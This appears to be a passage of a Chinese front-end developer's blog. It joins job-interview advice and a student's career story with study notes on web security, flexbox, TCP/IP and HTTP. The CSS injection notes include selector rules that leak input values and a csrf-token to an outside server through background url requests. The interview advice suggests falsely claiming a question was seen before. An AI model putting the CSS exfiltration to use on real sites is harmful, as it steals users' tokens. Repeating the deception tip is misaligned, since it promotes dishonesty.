比如说前端的经典八股“跨域问题及其解决”,我就很喜欢补充自己实际遇到过的问题 | EuDs’s Blog

那答不上来算不算减分项呢？也可以不算。因为一场面试短则半小时，长则一个小时往上，如非特别记录，其实有时候面试官他自己问了啥问题都有可能忘记。

那我们能做的就是尽可能不要去强化他对你八股答不上来的这段记忆。于是乎：快速略过而不是胡扯，我觉得是个比较好的处理方式。

算法(手撕)

重要性

说完八股，那很自然地就得说说算法。

相比于背八股，我更不喜欢刷算法题。虽然去年的时候曾决心要每天刷一题，结果没坚持一个月就放弃了。原因是我没找到其中的意义。

但算法题又直接关乎着求职过程中的两个重要的环节：笔试和面试结尾的手撕。笔试一般只是个基本的敲门砖，但结尾的手撕却很伤。因为它是在面试快结束的时候，而且时间至少在十分钟以上。那这段时间给面试官的印象就会很深。因而也就有人说，手撕能不能撕出来，直接决定了面试能不能通过。

考察的内容

好在面试时出的算法题一般难度就在leetcode的easy难度左右，出更难的题一般也意味着面试官不太想要你了。

而且前端出的手撕题不少都是场景实现题，准备下大概能八九不离十。

• 面试中的手撕代码（一）总结了一些面面试中常见的手写代码题，如有更好见解欢迎评论指正~ - 掘金
• Sunny-117/js-challenges: ✨✨✨ Challenge your JavaScript programming limits step by step

考察的目的

除了具体的内容，明确手撕题所想考察的目的也很重要,我个人觉得有如下几点:

1. 逻辑思维能力: 具体来说就是怎么思考问题，怎么拆分问题的。直接反应就是写代码前你所描述的思路。
2. 代码能力：一场面试中能真正考察你代码能力的其实也就只有手撕了。代码能力不是要求你一遍就能把代码跑通，更多的是看你的一些细节： 命名规范，合理且合适的注释，常用api的熟悉程度。
3. debug能力: 面试时所提供的平台一般都支持运行。当你写完代码后，你发现运行不了。这时候你该怎么排查。更进一步，当测试用例不通过的时候，你如何通过debug发现问题所在，这都能见微知著，体现你真实情况下的代码能力。

真写不出来怎么办

再退一步说，如果真写不出来，有什么能够补救的方法。

这点是我所擅长的，因为我百分之五十的面试的手撕题是没办法写出来的，更不用说写出最优解。

那这时候我就会尝试先用最简单的暴力方法先过了测试用例。然后再尝试去看看能不能有优化方法。

或者甚至有个比较猥琐的方法。当你发现一道题第一眼看你一点思路都没有，那你可以尝试请面试官换一题，理由包括但不限于说这道题你在之前的面试中有做过等等。

切忌就是别在那里发呆，或者显得不知所措。

反问

大部分面试都会有反问环节。我一开始也不知道反问环节问啥，但面的次数多了自然也就悟了。以下是我的主观想法，大佬轻喷。

没必要问的问题

有些问题没必要去问，比如:

1. 您觉得我表现怎么样,我能通过吗？

一般面试官都挺避讳去直接回答面试结果，只会打个哈哈，问其实也是白问。

2. 您对我有什么建议吗？

有人说这是当自己觉得这场面试寄了才问的问题,这代表了对自己的不自信。我也确实是这样做的，尤其是当我觉得这场面试多半寄了，那我就会问这个问题。因为至少还能让这场面试稍微有点收获。

不过多次面试下来，当我问这个问题之后，我似乎也并没怎么得到到过有价值的建议。

3. 薪资待遇问题?

特指技术面。真到了谈薪的时候也不用问，hr自然会问你期望薪资。

可以问的问题

有些问题可以问，而且值得问:

1. 就某项技术，先提出自己的想法，再询问面试官的想法。

我挺喜欢这样问的，比如我就很尝问面试官对js或者是前端的看法。因为面试官的工作经验比我丰富，他们对这一技术的掌握程度更深，也常会有值得我去学习的观点。就单单能了解下这些新的观点，我觉得这场面试就挺值的了。

2. 部门的具体业务。

大多数情况下，你的面试官所在的部门也将会是你入职所在的部门。因此你可以从中了解到部门业务的第一手信息。请记住，面试其实是双向筛选，你也有选择公司,部门，业务的权利。如果部门的业务是你感兴趣的，或者你觉得有价值的，那未来工作时也能觉得更有意义。

另外，你还可以从面试官的回答的用心程度来推测自己面试是否能够通过。

3. 你自己感兴趣的问题

这里就因人，因公司而异了，属于可遇不可求。比如我自己其实也就只问过两个这类的问题：

一次是面试百度，我说自己特别喜欢百度贴吧，但很遗憾地发现百度贴吧的网页端几乎不怎么维护了，报错信息都一堆，问是怎么了。

另一次是面试4399，因为从小到大4399带给了我不少乐趣,我问了进去后有机会去做那些小游戏吗。

要不要本科就业

其实这段内容应该放在前面，但我写完发现过于主观，全是我自己的观点，没啥参考意义。于是干脆往后放。

如果读者有耐心读到这段，说明你确实有考虑本科就业且有一定的耐心。那就不妨再看几句我的啰嗦。

我认为只有自己选择的路走起来才不会后悔，所以我不劝读者到底要选择就业还是继续深造。

我自己的观点

以下是我自己的观点,或者说，我是如何说服自己选择就业的。主要有三个原因:

1. 兴趣

自己有尝试过所谓的科研。我大二大三的时候参与过两个SRTP项目，一个是校级，一个是国家级。两个项目都顺利完成并有较好的评级，但我从中发现，自己并不享受其中的过程。

但实习的半年来，我确确实实能体验到其中的乐趣与成就感。于是我就确定了我要走的路，那我就业吧。

我觉得这点其实是最重要的一点。我觉得做任何事如果能刚好符合自己的兴趣，做起来自己认可，那么就不怎么会太煎熬，也不会觉得后悔。或者讲得中二一点，听凭自己的内心，如果有一条路你发现自己还蛮喜欢的，那就走下去吧。

2. 我对未来形势的悲观。

我不止看到一个人吐槽，说自己要是不读这个研该多好，因为他发现读研前能去的公司，现在毕业后反而难进了。三年前是这样，那三年后呢？三年后会更好吗，我看不到变好的迹象。因为导致形势变差的一系列问题都没有被解决。

但其实，这其实也可以成为反对本科就业的论据。因为既然以后形势更差了，那么你有一个更高的学位，你相对的就能有更强的竞争力。而所谓的工作经验。有三年工作经验的人比比皆是。我认为这说得也没错。

3. 我害怕考研，读研失败的沉没成本。

我从高三的时候就发现，让我用一年的时间去反复练习已有的内容，我坐不住，嫌无趣，觉得是在浪费大好时间。于是我高三花了不少时间在让自己枯燥的复习中找到点乐趣。

由此也可以预见，我会受不了考研所要花费的复习过程。

再接着，侥幸我考研成功，我能遇到一位好的导师吗？网上的新闻把我看怕了。

更关键的是，我不确定读研这三年对我来说是收获还是浪费? 。我比较认可所以，到底要不要读研？ - laike9m’s blog里作者的观点。但值得一提的是，这篇文章的作者是清华本科，中科院研究生。

择业需要考虑三个维度的问题

以下是我对转行一周年 - {Bison} - 博客园这篇文章中，作者的观点的再描述：

1. 我适不适合做这份工作?进一步分为两类问题：
   • 这份工作具体是干什么的?需要什么样的人来干?
   • 我自己是什么样的人?有什么优点和缺点?
2. 我能不能做得比别人强?
3. 我喜不喜欢做这份工作?

薪资

在本科就业二三事_百度贴吧中有吧友问到本科平均薪资多少。

我只能说薪资是个敏感话题，而且千人千例,问平均没多大意义。

如果真对薪资感到好奇，可以去offershow上搜搜你感兴趣的公司+岗位+bg。那里的会比较真实点。

被裁了怎么办

有人会说我杞人忧天，还没正式工作呢，就开始担心被裁了。但自己看了太多有着丰富工作经验的前辈们被裁后的帖子了。

印象很深的是这个视频:好久不见，第一时间跟大家分享对于我来说这半年来最大的好消息。这up之前干的是前端，后面被裁了，然后创业，创业失败了，找了好久的工作，没成功，最后去找到了份鸿蒙开发的外包的工作，工资待遇被之前降了不少，通勤距离也长了很多。但在视频结尾他已经控制不住情绪，哭了出来。

我目前的想法是努力提升自己吧，不仅是编码能力，还有其他的一些软实力，比如沟通，问题的分析、拆解。再者就是要尽量保证一个比较健康的身体状况和一定的积蓄。

被裁了我就找下一份工作，真找不到那我就回家吧。至少活下去是肯定没问题的。

我自己的经历

写在前面

接下来讲讲我自己的经历,主要是我自己对过去几年的回顾，只能说有一定参考价值，不嫌弃的话可以看看。

我的编程学习经历

1. 我上大学前并没有接触过编程。接触电脑倒挺早，幼儿园就开始了，玩电脑的时间也不少。但一直都只是玩。中小学电脑课的课程也没怎么涉及到编程，更别说让我对编程提起兴趣了。因此没能更早地接触编程其实是我的一大遗憾。
2. 填志愿的时候其实自己的兴趣更偏向于自然方向。因为我选科选的生物地理，而且学得很轻松的同时也能拿到不错的成绩。但自己又偏向于就业。于是还是选了计算机。
3. 说是计算机类，但大一和编程相关的课程其实就一门：程序设计基础，也就是c++。自己大一上的时候过得挺浑浑噩噩的，学的课程内容并不能让我对计算机提起兴趣。到了大一下。程序设计基础的期末作业是让我们写个小程序，类似于基础的成绩管理系统之类的。这时候开始有点兴趣了。
4. 大一升大二的暑期可以说是我最忙的一个暑假。因为某些当时众所周知的原因，我的军训被推迟到这个暑期，和22级一起训。但我的暑期学校课程没办法推迟。暑期学校一共有两门课程，一门是专业阅读与写作，另一门是语言课程设计。语言课程设计是让我们要qt写个小程序。于是我得兼顾军训和暑期学校,这反倒进一步激起了我编程的兴趣。兴趣确实是最好的老师，我自学qt的同时，还入门了mysql，最后写了个基于qt实现的简易扫雷游戏。感兴趣的话可以看EuDs63/myMineSweeping: 基于qt实现的简易扫雷游戏，含使用mysql的简易登录注册，轻喷。
5. 对编程感兴趣后，那剩下的一切就好办了。大二上的时间我主要用来学习后端,其实也就是JAVA，靠的是廖雪峰的教程，跟着敲完了基础和Spring Boot的代码。还学了点Python，因为我想写个bot，哈哈。还因为代码需要版本管理，于是Git也是很自然的就用起来了，Github也开始成为每天都会去逛的网站。（翻commit history才发现自己原来这学期也开始学前端了，但还仅限于前端三件套，入门水平都不算）
6. 22年底的时候发生了一件大事，那就是ChatGPT发布了。有了它的帮助，那自学编程变得更加容易，有问题就问呗。
7. 大二下的时候有一门课，软件工程导论。课程大作业是一个小组，搭一个小网站。我们写的网站当时候想仿照Qwerty Learner — 为键盘工作者设计的单词与肌肉记忆锻炼软件，但时间管理不行，没太成功。不过倒也挺有收获。因为通过这个项目，我实践了Spring Boot,还尝试了Vue3。同时为了将网站上线，那Nginx的使用也涉及到了。也就是说，这个项目锻炼了我全栈的能力。
8. 大二下还有一门我很感兴趣的课，是操作系统。负责授课的老师讲得很好，纯理论也能讲得很风趣。我因为网上经常看到人推荐南京大学蒋炎炎的课程。出于好奇去看了一期。发现他是偏实践。于是两相结合下来，我的收获特别大。不仅是操作系统这门课学得很扎实，更是对计算机有了更浓厚的兴趣。同时我还接触了Linux。同时由于课本是英文的原版书,蒋炎炎老师也很鼓励读文档。于是也锻炼了我英语能力,大段的英文，之前看着有点怕，现在觉得也能看下来，并且速度还可以。可以说，大二下是我学习编程过程中进步最快的一个阶段。我感谢当时的自己，也感谢遇到的几位老师。
9. 大二下还有件事值得提一嘴，23年3月的时候，我部署了自己的博客，后面写着写着也成习惯了。博客对于求职其实作用没那么大，因为面试官都挺忙的，面试者又多，哪有空给你点开来看。我面试这么多场，也就一位面试官表示他看过我的博客（这位面试官还算是我的直系学长，这倒也是缘分）。我认为博客更多的是给你提供一个表达自己想法的空间。如果你对我的博客感兴趣，请搜euds’blog。
10. 紧接着就是大二升大三的暑假了。暑期学校就一门课:专业技能实训。说白了还是小组一起写网站。一个月的时间从头走一遍软件开发的流程。我们这个项目做的是图书推荐系统。后端是python语言，flask框架。前端在我的建议下使用React，因为之前那个项目用过Vue了，没想到因此和React一见钟情，以后还全仰仗React来谋生了。这我也给放Github上了，EuDs63/BookRecommend_Front: 图书推荐系统。
11. 大三上我花了不少时间来学Rust，出于兴趣。这时候没什么大的项目产出，只是写了点自己用的小工具。以及接触了点web assembly技术，看教程写了EuDs63/game_of_life。以及再要说的话就是把博客用的框架从hexo换为hugo了,因为这时候经过两个项目的锻炼,我前端已经算入门了,所以按着自己的想法改了改主题。
12. 这年十一月份的时候尝试着投出了自己的第一份简历，经历了自己的第一次笔试，hr面，群面。漫长的等待并没有等到任何结果，也就此磨平了当时我尝试找份实习的想法。回头想想挺后悔的，其实大三上能有段实习经历的话，后面会更容易些。
13. 很快啊，悠闲的时光就这样过去了。23年寒假一结束，回来上学的时候和同学一聊，我们想就业的该找暑期实习了。这时候自己还没太重视。想着先写个项目，不然简历上不好看。于是写了EuDs63/postkid: A lightweight tool offering key functionalities inspired by Postman.，用的tauri这个框架，主要想体现跨端的能力。
14. 写完项目，三月份开始投简历，这时候也得确定自己的方向了。我选择的是前端,因为那时候我觉得：后端当学习得比较深入，需要微服务，性能优化。但我缺乏实际环境，学习后端也成了无稽之谈。前端就不一样了,我能有实时的反馈，性能优化也能实时感知。
15. 找暑期实习也是费了番功夫，但远不如秋招折磨。3月份开始投，4月初就有一家初创公司愿意收我，而且老板很器重我,自己也确实在实习过程中锻炼了自己的技术和认知。就这样一直到了9月底。实习的时候因为公司是初创公司。最大难点就是流量。而当辛苦把流量导进来的时候，那么前端页面就很重要。这段实习经历让我进一步确认了前端的重要性。
16. 8月末的时候也知道这时候秋招开始了。但自己还在拖，一来是因为自己有点畏惧，二来是实习项目有些还没收好尾。直到9月底也是突然发现，自己再不好好投简历那秋招就要结束了。于是匆忙海投，投了得有七十家吧。国庆节一过，海投的后果出现了，自己几乎每天都是笔试和面试轮轴转，疲于奔命。自己的焦虑感达到了有生以来的最顶峰，每天早上起来都想吐，甚至进食堂都没啥食欲（不过不排除是食堂的缘故，毕竟它已经好久不换新的菜品了）。
17. 一开始的几场面试几乎都是送人头。因为太久没面试了，自己也没准备好。一场面试三部分最重要：八股，项目，手撕。但我八股没怎么背。手撕自己又不愿意刷题，项目也没怎么讲明白。于是错失了不少机会。还好这时候运气好,面了个荣耀。他家主打一个面试阶段不刷人，让我过了一面，实现了0的突破。万事开头难。过了一次面试开始有了信心，八股我通过整理笔记的方式来记，手撕没办法速成，只能尽量做些常考的，项目是我自己实打实做的，于是也越讲越明白。就这样一直面试到10月底，在笔试了三十多场，也面试了三十多场后，还算有好的收获。

TL;DR

前面写得太长了，因为写着写着就变成自己的回忆了。于是这里总结下。

1. 读者们要对自己有信心，尤其如果你读到这篇的时候刚入学没多久，或者刚升大二。那完全来得及。因为我也是这个时候才开始对计算机感兴趣的。
2. 东南大学的课程其实设计得还算合理，该有的都有（除了我这届不知道为啥没将计网纳入必修，但下一届就补上这个bug了）。课程大作业好好做的话收获其实挺大的。
3. 个人兴趣很重要。只有对计算机真正感兴趣，你才会愿意花时间去写代码，自发地去学习新知识。如果你选择了计算机专业，但你却没有发现学习计算机的乐趣。那么我建议你去看下蒋炎炎的操作系统课，或者尝试其他方法，先激发了兴趣再说。如果真没有兴趣，尽早转专业可能是条明路。
4. 一次两次，甚至多次的面试失败都不要紧。因为面试运气成分很重。面试成功与否，取决你当时的状态，面试官的心情，面试官是否对你感兴趣,人是否招够了等诸多因素。面试失败不是你的问题，更关键的是从中吸取经验，为下次面试做准备。
5. 有时间可以多学尝试些技术栈。因为谁也不难保证自己最感兴趣的技术就是自己第一次接触的。多接触不同的技术还有些好处，单编程语言，我就接触过c++,c,Java,Python,Rust,JavaScript,go。虽说贪多嚼不烂，但这些经历都让我在接触新的技术时不犯怵，因为我知道万变不离其宗，我知道要怎么学一项新的技术栈。

推荐阅读

• 从放弃计科保研到秋招进互联网大厂，我是怎么做的？【秋招分享贴】【西北工业大学吧】_百度贴吧 里面有些细节是我这个贴没涉及到的。
• 大四ld记录计科就业贴【合肥工业大学吧】_百度贴吧 这位楼主主攻国企就业，也是一个很好的方向。
• 转行一周年 - {Bison} - 博客园 关于职业的选择
• 入行两周年 - {Bison} - 博客园
• 写给25届和26届—关于实习我想说的一切_牛客网 实习的意义

• Cross-Site Scripting（跨站脚本攻击）简称 XSS，是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本，使之在用户的浏览器上运行。利用这些恶意脚本，攻击者可获取用户的敏感信息如 Cookie、SessionID 等，进而危害数据安全。
• 三种类型:

  类型	存储区	插入点
  存储型 XSS	后端数据库	HTML
  反射型 XSS	URL	HTML
  DOM 型 XSS	后端数据库/前端存储/URL	JavaScript

• DOM 型 XSS 跟前两种 XSS 的区别：DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。
• 防范
  1. 阻止攻击者提交恶意代码
     • 输入过滤： 道高一尺魔高一丈，难
     • 输入长度限制
  2. 防止浏览器执行恶意代码
     • 预防存储型和反射型 XSS 攻击
       • 改成纯前端渲染，把代码和数据分隔开。
       • 对 HTML 做充分转义
     • 预防 DOM 型 XSS 攻击
  3. 利用 CSP 来抵御或者削弱 XSS 攻击，一个 CSP 兼容的浏览器将会仅执行从白名单域获取到的脚本文件，忽略所有的其他脚本
  4. 对关键 Cookie 设置 http-only 属性
• 参考：
  • 前端安全系列（一）：如何防止XSS攻击？ - 美团技术团队
  • Cross-site scripting（跨站脚本攻击） - MDN Web 文档术语表：Web 相关术语的定义 | MDN
  • Example
  • 浅谈 React 中的 XSS 攻击 - 掘金
  • 内容安全策略（CSP） - HTTP | MDN

JavaScript Prototype 污染攻击

prototype基本概念

• prototype是一个类的属性，所有类对象在实例化的时候将会拥有prototype中的属性和方法
• 一个对象的__proto__属性，指向这个对象所在的类的prototype属性

参考

• 深入理解 JavaScript Prototype 污染攻击 | 离别歌
• 继承与原型链 - JavaScript | MDN

CSRF

概念

• CSRF（Cross-site request forgery）跨站请求伪造
• 一次CSRF攻击的过程
  1. 攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。
  2. 利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。

特点:

• CSRF（通常）发生在第三方域名。
• CSRF攻击者不能获取到Cookie等信息，只是使用

防护策略

• 阻止不明外域的访问
  • 同源检测
    • 使用Origin Header确定来源域名
    • 使用Referer Header确定来源域名
    • 如果直接在本域发起攻击，同源策略无法达到防护的作用
    • Samesite Cookie
• 提交时要求附加本域才能获取的信息
  • CSRF Token
    • 我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token，来把正常的请求和攻击的请求区分开，也可以防范CSRF的攻击
    • 双重Cookie验证
      • 难以做到子域名的隔离

参考：

• 前端安全系列（二）：如何防止CSRF攻击？ - 美团技术团队

点击劫持攻击

原理

1. 黑客创建一个恶意页面
2. 页面中有一个吸引用户点击的按钮
3. 按钮上方放置一个透明的iframe，其src为黑客希望以用户的名义点击的网站

防护策略

• 不希望被在iframe中查看: 使用 X-Frame-Options: SAMEORIGIN
• 若要允许在iframe中显示，则可以使用一个<div>对整个页面进行遮盖

  <script>
    if (top.document.domain == document.domain) {
        protector.remove();
    }
  </script>
  

• 使用samesite cookie

参考

• 点击劫持攻击

CSS injection

• 属性选择器可以選到「屬性符合某個條件的元素」: input[value^=a]
• 可以利用 CSS 發出 request

  input[name="secret"][value^="a"] {
    background: url(https://myserver.com?q=a)
  }
  

• 偷 hidden input
  • 因為 input 的 type 是 hidden，所以這個元素不會顯示在畫面上,也就不会载入背景图片
  • display:block !important;不起作用
  • 方法:
    • +: 選到後面的元素
    • has: 選到「底下符合特殊條件的元素」
• 偷meta
  • 可以自己用 CSS 讓這個元素變成可見

    head, meta {
    display: block;  
    }
    
    meta[name="csrf-token"][content^="a"] {
    background: url(https://example.com?q=a);
    }
    

参考

• 用 CSS 來偷資料 - CSS injection（上） - Huli’s blog

• Primary axis: Children will be bunched up at the start of the container.
• Cross axis: Children will stretch out to fill the entire container.
• justify — to position something along the primary axis.
• align — to position something along the cross axis.
• content — a group of “stuff” that can be distributed.
• items — single items that can be positioned individually

属性

flex-direction

• 属性决定主轴的方向（即项目的排列方向）。

justify-content

• control the distribution of the group along the primary axis

align-self

• change the alignment of a specific child along the cross axis

align-items

• a convenient shorthand that automatically sets the alignment on all the children at once
• flex-start：交叉轴的起点对齐。
• flex-end：交叉轴的终点对齐。
• center：交叉轴的中点对齐。
• baseline: 项目的第一行文字的基线对齐。
• stretch（默认值）：如果项目未设置高度或设为auto，将占满整个容器的高度

flex-grow

• number,默认为0，不能为负数
• 规定了 flex-grow 项在 flex 容器中分配剩余空间的相对比例
• 剩余空间是 flex 容器的大小减去所有 flex 项的大小加起来的大小
• flex-grow - CSS: Cascading Style Sheets | MDN

flex-shrink

• number, 默认为1，不难为负数
• The flex shrink factor is multiplied by the flex base size; this distributes negative space in proportion to how much the item can shrink. This prevents smaller items from shrinking to 0px before a larger item is noticeably reduced.
• flex-shrink - CSS: Cascading Style Sheets | MDN

flex-basis

• 指定了 flex 元素在主轴方向上的初始大小(内容盒)

• flex-basis 优先级比 width(height)高

• 若 flex-basis 为 auto,则 width 设置多少就是多少。

  • 举例 flex-basis:auto;width: 300px，则子项就为300px(故意没说宽或者高，因为flex-direction可能会变,下文也一样)。若没设置 width， 则根据内容撑起来。

• 若 flex-basis 为 0 ，根据优先级，那子项就是为0px。更不用说同时设置了具体数值，如:flex-basis:200px;width:300px,那子项自然为200px

• flex-basis - CSS: Cascading Style Sheets | MDN

flex

• 是flex-grow,flex-shrink,flex-basis的简写

• flex-basis，flex-grow，flex-shrink 三者的关系

  • flex-basis 是在 flex-grow,flex-shrink 之前看的
  • 意思就是 flex-basis 设定好了再看另外两者，若空间还有富余，就 flex-grow，若空间不够，就flex-shrink

• 取值

  1. initial
  • 元素会根据自身宽高设置尺寸。它会缩短自身以适应 flex 容器，但不会伸长并吸收 flex 容器中的额外自由空间来适应 flex 容器。相当于将属性设置为"flex: 0 1 auto"。
  2. auto
  • 元素会根据自身的宽度与高度来确定尺寸，但是会伸长并吸收 flex 容器中额外的自由空间，也会缩短自身来适应 flex 容器。这相当于将属性设置为 “flex: 1 1 auto”.
  3. none
  • 元素会根据自身宽高来设置尺寸。它是完全非弹性的：既不会缩短，也不会伸长来适应 flex 容器。相当于将属性设置为"flex: 0 0 auto"。
  4. 1
  • flex-grow:1 , flex-shrink-1, flex-basis-0的缩写

gap

• allows us to create space in-between each Flex child

margin:auto

• will gobble up the extra space, and apply it to the element’s margin

flex-wrap

• nowrap 默认
• wrap
• warp-reverse

实现两列等高

需求描述

两列布局，以较矮的一列为基准，较高的一列超出部分以滚动条形式

参考

• CSS中，如何处理短内容和长内容？ - 掘金
• CSS 网页布局
• Equal height columns with CSS Grid Layout - over any number of rows
• 纯 CSS 实现横向排序的瀑布流式布局 - The Trivial
• Equal Columns With Flexbox: It’s More Complicated Than You Might Think | CSS-Tricks
• flex 容器宽度被内容撑开的问题 | blog [ YOG WANG ]

实现换行

需求描述

文字内容过长，希望它换行，而不是溢出

解决过程

1. 第一版代码

   <div className="flex flex-col">
       <p className="font-semibold text-lg text-blue-500 truncate">{product.title}111111111111111111111111</p>
   </div>
   

   这代码怎么调都还是溢出，后来发现删掉外层的flex就好了,改成
2. 第二版代码

   <p className="font-semibold text-lg text-blue-500 overflow-hidden text-ellipsis whitespace-nowrap">
       {product.title}
   </p>
   

3. 发现原因在于连续的字母或者数字会被当做一个单词或文本内容，故不会主动换行显示。
4. 另一种解决方案是使用break-all

参考

• flex-wrap - CSS: Cascading Style Sheets | MDN
• Flex 踩坑指南（文字、图片溢出问题） - Minimum Content Size In CSS Flexbox - 掘金
• 使用flex 布局时，英文不自动换行 - 北极星333y - 博客园
• 文字在一行或多行时超出显示省略号 | Evan’s blog

参考

• An Interactive Guide to Flexbox in CSS
• Flex 布局教程：语法篇 - 阮一峰的网络日志
• flex 笔记（血与泪） - 知乎

子网地址

• 一个ip地址分为子网地址和主机地址两部分
• 子网地址 = ip地址和掩码进行与运算

相同子网的两个判定条件

• 子网地址相同
• 直接相连，没有中间路由器

网关

• 默认网关： 通往外部网络的第一跳路由器

模型

OSI七层

• 分层
  1. 应用层
  2. 表示层
  3. 会话层: RPC, SQL,ASP
  4. 传输层
  5. 网络层
  6. 数据链路层
  7. 物理层

TCP/IP五层模型

• 分层
  1. 应用层: SMTP,TELNET,DNS,HTTP
  2. 传输层: TCP/UDP、TLS
  3. 网络层: ICMP,IP,ARP
  4. 数据链路层： mac地址,以太网,ARP,PPP(Point to Point Protocol)
  5. 物理层
• 
• 参考
  • TCP/IP五层模型详解 - 休耕 - 博客园
  • 什么是TCP/IP?-四张图解释TCP/IP四层协议模型 - 掘金

TCP(传输控制协议)

特性

• 可靠性：只要不得到确认，就重新发送数据报，直到得到对方的确认为止
• 参考：Python 绝技 —— TCP 服务器与客户端 | Secrypt Agency

三次握手与四次挥手

• 状态机：
• 三次握手过程:
  1. client发送连接请求报文，seq=x
  2. server接受连接后回复ACK=x+1,seq=y ，并为此处连接分配资源
  3. client接收到ACK报文后，回复ACK=y+1
• 四次挥手过程:
  1. client发送FIN，seq=x
  2. server发送ACK=x+1
  3. server发送FIN
  4. client发送ACK
• 参考
  • TCP状态机和Linux网络编程 | Serica
  • “三次握手，四次挥手”你真的懂吗？ - 知乎

滑动窗口

• 接收方需要确认发送方发送的数据包
• 分为发送方滑动窗口，和接受方滑动窗口。
• 发送方滑动窗口
  1. 已发送已确认
  2. 已发送未确认
  3. 未发送可发送 (2+3的大小未advertised window)
  4. 未发送不可发送
• 接受方滑动窗口
  1. 已接受已确认
  2. 等待接受未确认(advertised window)大小等于接收方发送的tcp头部的window size
  3. 不可接受

拥塞窗口

• 发送端定义
• CWND(congestion window)
• 发送端最大的发送范围等于Min(拥塞窗口,滑动窗口)
• 拥塞窗口会动态地随着网络情况的变化进行调整
• 大体策略为: 如果没有拥塞，则扩大窗口大小，否则就减小。

一台机器上最多能创建多少个TCP连接

• 在内存、文件句柄足够的话可以创建的连接是没有限制的（每个TCP连接至少要消耗一个文件句柄）

• 参考: 到底一台服务器上最多能创建多少个TCP连接 | plantegg

TCP和UDP的区别

1. 连接与无连接

   • TCP: 是一种面向连接的协议。在发送数据之前，必须先建立一个连接（称为“三次握手”）。在通信过程中，TCP确保双方之间建立的连接保持稳定，直到通信完成。
   • UDP: 是一种无连接的协议。它不需要在发送数据前建立连接，也不保证发送的数据包会到达目标，因此通信效率较高，但可靠性较低。

2. 可靠性

   • TCP: 提供可靠的数据传输。它确保所有的数据包都能够按顺序到达，并且如果有任何数据包丢失，TCP会负责重发。这种机制使得TCP适合需要高可靠性的数据传输，比如文件传输、电子邮件、网页浏览等。
   • UDP: 不保证数据包的可靠传输。它不提供重传机制，也不保证数据包按顺序到达，因此如果数据丢失，UDP不会通知发送方。UDP适用于对丢包不敏感的应用场景，比如实时音视频传输、在线游戏等。

3. 流量控制和拥塞控制

   • TCP: 提供流量控制和拥塞控制机制。这意味着发送方会根据接收方的处理能力以及网络状况调整发送速率，避免网络过载。TCP使用滑动窗口、慢启动等机制来优化网络传输性能。
   • UDP: 不提供流量控制和拥塞控制。UDP会尽最大努力发送数据包，不管接收方是否能够处理，也不关心网络是否拥挤。

4. 数据传输方式

   • TCP: 以字节流的形式传输数据。TCP把应用层的数据分割成合适大小的段，并确保它们按顺序到达目标应用层。TCP的字节流传输方式使得应用层收到的数据是连续的、完整的。
   • UDP: 以数据报的形式传输数据。每个UDP包是独立的，接收方收到的可能是独立且无顺序的多个数据报文。由于UDP没有确保顺序到达的机制，因此数据包可能会乱序、丢失或重复。

5. 开销

   • TCP: 由于需要建立连接、保证可靠传输以及提供流量控制，TCP的开销较大。TCP头部包含20字节的控制信息（例如序号、确认号、窗口大小等）。
   • UDP: 相对来说，UDP的开销较小。它的头部只有8字节，包含了必要的端口信息和校验和字段。由于不需要建立连接或管理重传，UDP的通信效率更高。

6. 使用场景

   • TCP: 适用于需要高可靠性、数据完整性和传输顺序的场景。例如：
     • 文件传输（如FTP）
     • 网页浏览（HTTP/HTTPS）
     • 电子邮件传输（SMTP）
   • UDP: 适用于对传输速度要求高且对数据丢失不敏感的场景。例如：
     • 实时音视频传输（如VoIP、视频会议）
     • 在线游戏
     • DNS查询
     • 流媒体播放

HTTP / HTTPS

HTTP缓存机制

• 分类

  1. 强缓存
  2. 协商缓存

• 响应头

  1. Expires
  • HTTP/1
  2. Last-Modified / If-Modified-Since
  • HTTP/1
  • 流程
    1. 浏览器第一次访问资源，服务器会 Response Header 里添加 Last-Modified 的值
    2. 浏览器在下一次请求这个资源的时候，检测到有Last-Modified这个 Header。浏览器就会在Request中加上 If-Modified-Since，If-Modified-Since的值就是 Last-Modified 的值
    3. 服务器收到请求后，如果资源没有修改，服务器返回 304 Not Modified 状态码，并且不包含资源的内容。浏览器此时会使用本地缓存中的资源。
    4. 如果资源发生了修改，服务器会返回新的资源内容和更新后的 Last-Modified。
  3. Cache-Control
  • HTTP/1.1
  • 优先级比 Expires 要高
  • 可选值
    • public
    • private
    • no-store: 完全禁用缓存，资源不会存储在缓存中。
    • no-cache: 告诉浏览器要使用缓存文件，但是每次需要跟服务器确认是最新文件以后才能用，一般使用 Etag 或者 Last-Modified 字段来控制缓存
    • max-age=60
  4. ETag / If-None-Match
  • HTTP/1.1
  • ETag由服务器生成,三种方式：基于内容 / 基于版本 / 自定义生成
  • 浏览器在下一次加载资源向服务器发送请求时，会将上一次返回的Etag值放到request header里的If-None-Match里
  • ETag 的优先级要高于 Last-Modified

• 缓存控制策略的优先级

  • Cache-Control 优先于 Expires

• 参考

  • Effective HTTP Caching — Part I. This series presents an exhaustive dive… | by msingh | Medium

常见的HTTP状态码

• 分类:
  • 1 表示消息
  • 2 表示成功
  • 3 表示重定向
  • 4 表示请求错误
  • 5 表示服务器错误
• 常见
  • 200： OK. 服务器已成功处理了客户端的请求，并且已返回所请求的资源
  • 206： 服务器成功处理了部分请求，一般用来做断点续传，或者是视频文件等大文件的加载
  • 301： 请求的网页已永久移动到新位置，常用于域名更换
  • 302： 临时重定向不会缓存，常用于未登陆的用户访问用户中心重定向到登录页面
  • 304： Not Modified. 自从上次请求后，请求的网页未修改过。服务器返回此响应时，不会返回网页内容。
  • 400: Bad Request
  • 401： 请求要求身份验证
  • 403: Forbidden
  • 404： 服务器找不到请求的网页
  • 405： 禁用请求中指定的方法
  • 500： 服务器内部错误
  • 501: Not Implemented
  • 502: Bad Gateway. 请求未完成，服务器从上游服务器收到一个无效的响应
  • 503: Service Unvailable.
  • 504： Gateway Timeout.
• 参考
  • 面试官：说说HTTP 常见的状态码有哪些，适用场景？ | web前端面试 - 面试官系列

常见的HTTP方法

1. get
   • 用于请求数据，通常用于从服务器获取资源或信息
   • 幂等的，这意味着多次执行相同的 GET 请求，应该产生相同的结果，不会修改服务器上的数据
